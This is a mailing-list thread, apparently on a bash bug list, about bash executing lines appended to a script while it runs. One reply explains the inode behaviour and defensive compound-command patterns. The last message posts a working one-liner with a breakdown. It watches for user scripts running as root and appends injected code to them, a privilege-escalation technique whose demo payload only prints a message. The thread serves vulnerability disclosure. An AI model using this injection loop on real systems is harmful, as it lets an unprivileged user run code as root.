On 2024-04-07 16:49, Kerin Millar wrote:
On Sun, 7 Apr 2024, at 5:17 AM, ad...@osrc.rip wrote:
Hello everyone!
I've attached a minimal script which shows the issue, and my
recommended
solution.
Affected for sure:
System1: 64 bit Ubuntu 22.04.4 LTS - Bash: 5.1.16(1)-release -
Hardware:
HP Pavilion 14-ec0013nq (Ryzen 5 5500u, 32GB RAM, Radeon grapics, nvme
SSD.)
System2: 64 bit Ubuntu 20.10 (No longer supported.) - Bash:
5.0.17(1)-release - Hardware: DIY (AMD A10-5800k, 32GB RAM, Radeon
graphics, several SATA drives)
and probably a lot more...
Not sure whether or not this is a know issue, truth be told I
discovered
it years ago (back around 2016) as I was learning bash scripting, and
accidentally appended a command to the running script, which got
executed immediately after the script but back then I didn't find it
important to report since I considered myself a noob. I figured
someone
more experienced will probably find and fix it, or there must be a
reason for it. I forgotű it. Now watching a video about clever use of
shell in XZ stuff I remembered, tested it again and found it still
unpatched. :S So now I'm reporting it and hope it helps!
It is a known pitfall, though perhaps not as widely known as it ought
to be. The reason that your usage of (GNU) sed fails as a
self-modification technique is that sed -i behaves as follows.
1) it creates a temporary file
2) it sends its output to the temporary file
3) it renames the temporary file over the original file from which it
read
The consequence of the third step is that the original file is
unlinked. In its place will be a new hard link, bearing the same name,
but otherwise quite distinct from the original. Such can be easily
demonstrated:
$ touch file
$ stat -c %i file
1548822
$ strace -erename sed -i -e '' file
rename("./sedP2oQ5I", "file") = 0
+++ exited with 0 +++
$ stat -c %i file
1548823
See how the revised file has an entirely new inode number? It proves
that sed does not perform 'in-place' editing at all. For more
information regarding that particular topic, take a look at
https://backreference.org/2011/01/29/in-place-editing-of-files/index.html.
Now, at the point that the original file is unlinked, its contents will
remain available until such time as its reference count drops to 0.
This is a characteristic of unix and unix-like operating systems in
general. Let's assume that the file in question is a bash script, that
bash had the file open and that it was still reading from it. Bash will
not yet 'see' your modifications. However, once bash closes the file
and exits, should you then instruct bash to execute the script again,
it will follow the new hard link and thereby read the new file.
Further, assuming that no other processes also had the original file
open at the time of bash exiting, its reference count will drop to 0,
and the backing filesystem will free its associated data.
From this, we may reason that the pitfall you stumbled upon applies
where the file is modified in such a way that its inode number does not
change e.g. by truncating and re-writing the file. One way to
demonstrate this distinction is to apply your edit with an editor that
behaves in this way, such as nano. Consider the following script.
#!/bin/bash
echo begin
sleep 10
: do nothing
echo end
You can try opening this script with nano before executing it. While
the sleep command is still running, replace ": do nothing" with a
command of your choosing, then instruct nano to save the amended
script. You will find that the replacement command ends up being
executed. Repeat the experiment with vim and you will find that the
outcome is different. That's because the method by which vim amends
files is similar to that of sed -i.
You propose a method by which bash might implicitly work around this
pitfall but it would not suffice. If you perform an in-place edit upon
any portion of a script that bash has not yet read and/or buffered -
while bash is still executing said script - then the behaviour of the
script will be affected. If you consider this to be a genuine nuisance,
a potential defence is to compose your scripts using compound commands.
For example:
#!/bin/bash
{
: various commands here
exit
}
Alternatively, use functions - which are really just compound commands
attached to names:
#!/bin/bash
main() {
: various commands here.
exit
}
main "$@"
Doing so helps somewhat because bash is compelled to read all the way
to the end of a compound command at the point that it encounters one,
prior to its contents being executed.
Ultimately, the best defence against the potentially adverse
consequences of performing an in-place edit is to to refrain entirely
from performing in-place edits.
First of all: Thanks for the suggestions, I will definitely use it! :)
Second: "If you consider this to be a genuine nuisance(...)"
A nuisance?!? Ok... Well maybe my first message wasn't convincing
enough. I see it as a serious threat so I spent the afternoon to proove
it by writing a one liner exloit example... :)
No ill intent, just trying to help since even the best sys admin are
people, and thus prone to error. A malicious script does not care, does
not tire, does not make mistakes, therefore better safe then sorry.
I hope it helps!
Tibor
- This is the kind of on the fly edit I'm worried about:
while true; do DotShProcessList=$(ps -e | grep "\.sh$" | grep -E "tty|pts" |
awk '{ print $4 "\t" $1 }' | awk '{ print $2 " " }');
UserScriptsRunningAsRoot=$(for i in ${DotShProcessList}; do lsof -p $i; done |
grep -E ".*root.*cwd" | awk '{ print $2 "" }'); ScriptFiles=$(for i in
${UserScriptsRunningAsRoot}; do ps -e | grep $i | awk '{ print $4 }' | find ~
-name $(cat); done); if [[ ! -z "$ScriptFiles" ]]; then echo "${ScriptFiles}" |
while IFS= read -r i; do if [[ -z $(tail -n 1 $i | grep "exit") ]]; then echo
"if [[ \$(whoami) == \"root\" ]]; then echo \"I could do damage here completely
unnoticed as \$(whoami) >:)\"; exit 0; fi" >> $i; fi; done; fi; sleep 0.5; done&
Breakdown:
- Looks for list of PIDs started by the user, whether it's started in terminal
or command line, and saves them into $DotShProcessList
DotShProcessList=$(ps -e | grep "\.sh$" | grep -E "tty|pts" | awk '{ print $4
"\t" $1 }' | awk '{ print $2 " " }');
- Takes $DotShProcessList and filters out those that don't have root access.
Those that do are saved into $UserScriptsRunningAsRoot
UserScriptsRunningAsRoot=$(for i in ${DotShProcessList}; do lsof -p $i; done |
grep -E ".*root.*cwd" | awk '{ print $2 "" }');
- Searches for file names of $UserScriptsRunningAsRoot processes in /home/$USER
(aka ~) and save it to $ScriptFiles
ScriptFiles=$(for i in ${UserScriptsRunningAsRoot}; do ps -e | grep $i | awk '{
print $4 }' | find ~ -name $(cat); done);
- If the file list isn't empty then loop through it line by line, and if the
file does not contain "exit" a the last line, append a potentially dangerous
line to it.
if [[ ! -z "$ScriptFiles" ]]; then echo "${ScriptFiles}" | while IFS= read -r
i; do if [[ -z $(tail -n 1 $i | grep "exit") ]]; then echo "if [[ \$(whoami) ==
\"root\" ]]; then echo \"I could do damage here completely unnoticed as
\$(whoami) >:)\"; exit 0; fi" >> $i; fi; done; fi;
- The whole thing is put in an infinite loop, and forked to background with a
sleep 0.5 so it executes periodically, as normal user, and watches for a user
launched script that runs as root. (any script with .sh at the end located in
/home/$USER.) Once a loop like this is running in the background without any
privileges, it's enough to execute an install.sh script that must run as root
and takes a few seconds to finish or stops for a prompt (long enough to be
detected and edited by the background process), anywhre within /home/$USER and
you're screwed. This makes it difficult to trust a script even if I wrote it,
and know what it supposed to do, or to run a script as root to test things!
- This is just a demo of the vulnerability so this is the potentially dangerous
line it injects:
if [[ $(whoami) == "root" ]]; then echo "I could do damage here completely
unnoticed as $(whoami) >:)"; exit 0; fi
- The exit 0 in it will also prevent it from injecting it twice...
- If you want to run it, use this as a precaution to check for running scripts
you don't want it to edit... (Uses the first 2 steps of the above script to
print .sh processes to the terminal started by user running as root)
DotShProcessList=$(ps -e | grep "\.sh$" | grep -E "tty|pts" | awk '{ print $4
"\t" $1 }' | awk '{ print $2 " " }') && UserScriptsRunningAsRoot=$(for i in
${DotShProcessList}; do lsof -p $i; done | grep -E ".*root.*cwd" | awk '{ print
$2 "" }') && for i in ${UserScriptsRunningAsRoot}; do ps -e | grep $i; done